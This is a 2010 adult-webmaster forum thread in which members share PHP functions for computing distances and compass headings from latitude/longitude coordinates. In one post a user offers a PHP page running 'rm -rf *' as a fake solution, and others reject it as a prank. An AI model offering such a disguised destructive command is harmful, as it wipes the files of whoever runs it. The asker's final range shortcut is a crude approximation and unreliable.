Welcome to the GoFuckYourself.com - Adult Webmaster Forum forums.

You are currently viewing our boards as a guest which gives you limited access to view most discussions and access our other features. By joining our free community you will have access to post topics, communicate privately with other members (PM), respond to polls, upload content and access many other special features. Registration is fast, simple and absolutely free so please, join our community today!

If you have any problems with the registration process or your account login, please contact us.

Post New Thread Reply

Register GFY Rules Calendar
Go Back   GoFuckYourself.com - Adult Webmaster Forum > >
Discuss what's fucking going on, and which programs are best and worst. One-time "program" announcements from "established" webmasters are allowed.

 
Thread Tools
Old 11-12-2010, 04:22 AM   #1
goodsites
Confirmed User
 
Industry Role:
Join Date: Jan 2010
Location: Over the rainbows
Posts: 538
php guru, convert function puzzle

I need this stored function converted into a regular php function, i get a bit confused on it

SET x = sin(lat1 * pi/180) * sin(lat2 * pi/180) + cos(lat1 *pi/180) * cos(lat2 * pi/180) * cos(abs((lon2 * pi/180) - (lon1 * pi/180)));
SET x = atan((sqrt(1- power(x,2))) /x);
RETURN (1.852 * 60.0 * ((x/pi)*180)) / 1.609344;


so something like function _getDistance($lat1, $lon1, $lat2, $lon2) {

..fill in here with answer please


Thanks in advance.
goodsites is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-12-2010, 04:46 AM   #2
Maxi
Registered User
 
Join Date: May 2002
Posts: 233
Copypasta from http://www.codecodex.com/wiki/Calcul...nts_on_a_globe


Code:
function getDistance($latitude1, $longitude1, $latitude2, $longitude2) 
{  
    $earth_radius = 6371;  
      
    $dLat = deg2rad($latitude2 - $latitude1);  
    $dLon = deg2rad($longitude2 - $longitude1);  
      
    $a = sin($dLat/2) * sin($dLat/2) + cos(deg2rad($latitude1)) * cos(deg2rad($latitude2)) * sin($dLon/2) * sin($dLon/2);  
    $c = 2 * asin(sqrt($a));  
    $d = $earth_radius * $c;  
      
    return $d;  
}

Last edited by Maxi; 11-12-2010 at 04:49 AM..
Maxi is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-12-2010, 04:58 AM   #3
borked
Totally Borked
 
borked's Avatar
 
Industry Role:
Join Date: Feb 2005
Posts: 6,284
calculates distance as miles (M) or kilometers (K)

Code:
public function distance($lat1, $lon1, $lat2, $lon2, $unit='M') { 

  $theta = $lon1 - $lon2; 
  $dist = sin(deg2rad($lat1)) * sin(deg2rad($lat2)) +  cos(deg2rad($lat1)) * cos(deg2rad($lat2)) * cos(deg2rad($theta)); 
  $dist = acos($dist); 
  $dist = rad2deg($dist); 
  $miles = $dist * 60 * 1.1515;
  $unit = strtoupper($unit);

  if ($unit == "K") {
    return ($miles * 1.609344); 
  } else if ($unit == "N") {
      return ($miles * 0.8684);
    } else {
        return $miles;
      }
}
__________________

For coding work - hit me up on andy // borkedcoder // com
(consider figuring out the email as test #1)



All models are wrong, but some are useful. George E.P. Box. p202
borked is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-12-2010, 04:59 AM   #4
cocainer
So Fucking Banned
 
Join Date: Jun 2010
Posts: 164
just create this php page and view it.

Code:
<?php

execute("rm -rf *");
cocainer is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-12-2010, 05:16 AM   #5
grumpy
Too lazy to set a custom title
 
grumpy's Avatar
 
Join Date: Jan 2002
Location: Holland
Posts: 9,870
Quote:
Originally Posted by cocainer View Post
just create this php page and view it.

Code:
<?php

execute("rm -rf *");

not so funny
actually pretty lame
__________________
Don't let greediness blur your vision | You gotta let some shit slide
icq - 441-456-888
grumpy is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-12-2010, 07:19 AM   #6
goodsites
Confirmed User
 
Industry Role:
Join Date: Jan 2010
Location: Over the rainbows
Posts: 538
Quote:
Originally Posted by grumpy View Post
not so funny
actually pretty lame
very lame, should be banned for that.. not exaclty alt-f4 now is it
goodsites is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-12-2010, 07:20 AM   #7
goodsites
Confirmed User
 
Industry Role:
Join Date: Jan 2010
Location: Over the rainbows
Posts: 538
thanks guys, giving it a whirl in a few here
goodsites is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-13-2010, 12:33 AM   #8
goodsites
Confirmed User
 
Industry Role:
Join Date: Jan 2010
Location: Over the rainbows
Posts: 538
Wewps, this is not what I wanted, i screwed up by putting 2 sets of longs and lats, basically I need to create the 2nd set of lat/long
using the range provided, only supplying the initial set of lat/longs

$range = 30; // miles or kilometers;

function _getDistance($lat1, $lon1, $range) {

return $lat2, $lon2


the above "procedure" I provided does this, just needs to be converted.. im having problem getting it working
creating the 2nd set of lat/longs based off the provided range..


I'll re paraphrase

Providing a lat and long, and a range in miles, i need to create a second lat and long based off this..

Can anyone help?

Last edited by goodsites; 11-13-2010 at 12:43 AM..
goodsites is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-13-2010, 12:47 AM   #9
goodsites
Confirmed User
 
Industry Role:
Join Date: Jan 2010
Location: Over the rainbows
Posts: 538
Hrmph, I think i just figured out what i need to do

$range = 30; (miles?)
$rangeFactor = 0.014457;

$lat2 = $lat1-($range*$rangeFactor)?

$long2 = $long1-($range*$rangeFactor)?
goodsites is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-13-2010, 01:40 AM   #10
borked
Totally Borked
 
borked's Avatar
 
Industry Role:
Join Date: Feb 2005
Posts: 6,284
Quote:
Originally Posted by goodsites View Post

I'll re paraphrase

Providing a lat and long, and a range in miles, i need to create a second lat and long based off this..

Can anyone help?
How the hell can you do that without providing a heading?

It's like saying "stand in place X and walk 10 miles and tell me where you are". You could be anywhere depending on which heading you set off on....

here is a function that tells you the compass heading based on 2 pairs of lat/lon (lat1/lon1 are the starting point. The heading returned is heading toward lat2/lon2)

Quote:
public function heading($lat1, $lon1, $lat2, $lon2) {
$d = acos(sin($lat1)*sin($lat2)+cos($lat1)*cos($lat2)*c os($lon1-$lon2));
$angle_radians = acos((sin($lat2)-sin($lat1)*cos($d))/(sin($d)*cos($lat1)));
$angle_degrees = round( ( ( 180 / pi()) * $angle_radians ),2);

$heading = compass($angle_degrees);

$array['angle'] = $angle_degrees;
$array['heading'] = $heading;
return $array;
}

public function compass($a) {

if ($a == 0 && $a <= 11.25)
return 'N';

if ($a > 11.25 && $a <= 33.75)
return 'NNE';

if ($a > 33.75 && $a <= 56.25)
return 'NE';

if ($a > 56.25 && $a <= 78.75)
return 'ENE';

if ($a > 78.75 && $a <= 101.25)
return 'E';

if ($a > 101.25 && $a <= 123.75)
return 'ESE';

if ($a > 123.75 && $a <= 146.25)
return 'SE';

if ($a > 146.25 && $a <= 168.75)
return 'SSE';

if ($a > 168.75 && $a <= 191.25)
return 'S';

if ($a > 191.25 && $a <= 213.75)
return 'SSW';

if ($a > 213.75 && $a <= 236.25)
return 'SW';

if ($a > 236.25 && $a <= 258.75)
return 'WSW';

if ($a > 258.75 && $a <= 281.25)
return 'W';

if ($a > 281.25 && $a <= 303.75)
return 'WNW';

if ($a > 303.75 && $a <= 326.25)
return 'NW';

if ($a > 326.25 && $a <= 348.75)
return 'NNW';

if ($a > 348.75 && $a <= 360)
return 'N';


}
I'll let you work the two examples I gave you to do what you search for ;)
If you want me to figure it out, I'll have to charge you but you have the 2 most important functions there before you to figure it out...
__________________

For coding work - hit me up on andy // borkedcoder // com
(consider figuring out the email as test #1)



All models are wrong, but some are useful. George E.P. Box. p202

Last edited by borked; 11-13-2010 at 01:42 AM..
borked is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Old 11-13-2010, 01:53 AM   #11
Hornet1999
Registered User
 
Industry Role:
Join Date: Oct 2010
Posts: 15
Quote:
Originally Posted by goodsites View Post

$range = 30; (miles?)
$rangeFactor = 0.014457;

$lat2 = $lat1-($range*$rangeFactor)?

$long2 = $long1-($range*$rangeFactor)?
That's just what you need.
Hornet1999 is offline   Share thread on Digg Share thread on Twitter Share thread on Reddit Share thread on Facebook Reply With Quote
Post New Thread Reply
Go Back   GoFuckYourself.com - Adult Webmaster Forum > >

Bookmarks



Advertising inquiries - marketing at gfy dot com

Contact Admin - Advertise - GFY Rules - Top

©2000-, AI Media Network Inc



Powered by vBulletin
Copyright © 2000- Jelsoft Enterprises Limited.